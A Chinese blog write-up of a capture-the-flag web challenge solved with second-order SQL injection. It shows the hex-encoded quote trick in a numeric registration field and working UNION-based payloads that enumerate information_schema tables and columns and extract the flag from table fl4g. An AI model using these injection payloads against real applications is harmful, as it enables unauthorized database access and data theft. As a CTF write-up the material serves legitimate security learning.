第九届极客大挑战——小帅的广告(二阶sql注入)
也是经过一通扫描和测试,没发现其他有用信息,感觉这是个sql注入。其实对于二阶sql注入我以前没实践过,也没看过资料,只是知道这个名字,但不知道为何看到这道题就让我回想起了这个名词,所以查了一下二阶sql注入的资料:二阶sql注入。简单来说,就是第一次构造的恶意数据直接储存到了数据库中,但在其他地方用到数据库里的数据来构造新的sql语句时没有经过安全处理,便导致恶意语句被触发了。
这道题有个很明显的数据回显就是注册一个用户并登陆后会在主页显示注册时所填写的资料,所以我一开始的想法就是在注册时填写构造好的sql语句,然后再登陆查看自己信息,不就成功实现了注入攻击。反复测试,发现 WHAT'S UP 处理并不得当,在此处填写单引号时会显示注册失败,这就说明,单引号未被转义直接拼接到了原sql语句中导致了sql语句错误。
猜测注册页面的的sql语句应该是
insert into users(username,password,lucknum,whatsup) values('','',1,'')
其中的username和password应该是经过安全处理,单引号无法逃逸,而lucknum只能输入数字,所以剩下whatsup可成为注入点,insert into 注入,但是出了点小意外,没有成功,暂时放一放...
几经折腾,终于把目光放在了这个luckynum上面。可能会疑惑luckynum只接受数字,怎么能构造sql语句呢,其实是可以用字符串的16进制来表示的,例如
所以先在luckynum处构造一个单引号看看结果验证一下猜想
看到user info里面什么也没有,说明后台在查询我这个leixiao002用户时,sql语句是错误的,所以没有查到任何信息。
梳理一下逻辑
1.用户注册账号,填写密码及其他信息
insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')
2.用户用账号密码尝试登陆,后台用账号密码执行sql查询
select * from users where username='leixiao002' and password='1'
3.查询到数据就进入登录界面并显示该用户信息
//显示username,luckynum,whatsup
这么看来并没有lucknum什么事,大不了显示出来lucknum就是一个单引号而已,为什么lucknum为单引号就出错呢,重新推测下处理逻辑如下,虽然我感觉不合理,但这应该是出题人故意留下的漏洞,全靠直觉...有错望指正。
1.用户注册账号,填写密码及其他信息
insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')
2.用户用账号密码尝试登陆,后台用账号密码执行sql查询,正确就进入登录界面
select * from users where username='leixiao002' and password='1'
3.查询到数据luckynum的内容
lucknum='
4.再次执行查询
select * from users where username='leixiao002' and password='1' and luckynum='''
5.如果4的语句正确就显示用户信息
看到4的sql语句最后面多了一个',所以出错。
依据4的语句,接着构造出
select * from users where username='leixiao00x' and password='' and luckynum='' union select 1,1,database()
爆出了数据库名
接着再注册几个账号,逐步构造以下语句就可
1: ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
2: ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
3. ' union select 1,2,easyflag from fl4g#
第九届极客大挑战——小帅的广告(二阶sql注入)的更多相关文章
- 第九届极客大挑战 部分WP
CODE 和0xpoker分0day 百度 取石子游戏. https://blog.csdn.net/qq_33765907/article/details/51174524 已经说得很详细了,慢慢来 ...
- 第九届极客大挑战——Geek Chatroom(sql盲注)
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...
- 第九届极客大挑战——怎么又是江师傅的秘密(java反序列化)
这道题其实是考jsp和java的,我没学过jsp,java倒是有一点了解,但是刚拿到题的时候还是看不懂java代码里的内容,所以去简单学习了下jsp(jsp教程),按照教程里的步骤搭建了eclipse ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- 2020极客大挑战Web题
前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...
- BUUOJ [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...
- 三叶草极客大挑战2020 部分题目Writeup
三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
- 极客大挑战2019 http
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...
随机推荐
- [20190524]sqlplus 与输出&.txt
[20190524]sqlplus 与输出&.txt --//在sqlplus下 &一般作为参数替换,如何要输出&,一般有几种情况.据说这个问题是asktom站点查看最多的问题 ...
- Shell命令-搜索文件或目录之which、find
文件及内容处理 - which.find 1. which:查找二进制命令,按环境变量PATH路径查找 which命令的功能说明 which 命令用于查找文件.which 指令会在环境变量 $PATH ...
- IAR运行程序警告:undefined behavior: the order of volatile accesses is undefined in this statement
运算符两边都是volatile变量的警告,将IAR设置如下即可:
- xposed 原理分析
1.添加hook方法 首先是init进程打开 app_process,然后进入XposedInit.java main() - > initForZygote() 加入对ActivityThre ...
- 6.GC垃圾回收算法和垃圾收集器的关系
JAVAGC垃圾回收机制和常见垃圾回收算法 推荐博客:JVM垃圾回收机制和常见垃圾回收算法 JVM的内存结构.垃圾回收算法
- GitHub密钥生成
前提电脑上需装有Git软件 这里提供百度云下载地址:https://pan.baidu.com/s/1r0y4XRyQCz7ZJBnZJhAtqw 提取码:88qf 1.登录GitHub账号 2.点 ...
- alertmanager
alertmanager主要用于接收prometheus发送的告警信息: wget下载,解压, 配置alertmanager.yml,内容如下: 在prometheus文件下添加rules.yml内容 ...
- 2019面向对象程序设计(java)课程学习进度条
2019面向对象程序设计(java)课程学习进度条 周次 (阅读/编写)代码行数 发布博客量/评论他人博客数量 课余学习时间(小时) 学习收获最大的程序阅读或编程任务 1 20/10 1/0 5 九九 ...
- 【CSP-SJX 2019】T4 散步
Description 传送门 Solution 算法1 32pts 枚举每个时刻,并枚举所有发生的时间,暴力进行更新.发现最多只需要枚举到第 \(L\)个时刻,因为是一个环,所以最多到第L个时刻,所 ...
- 开源项目 13 log4net
原文:https://www.cnblogs.com/pudefu/p/9300697.html 官方的api: http://logging.apache.org/log4net/release/s ...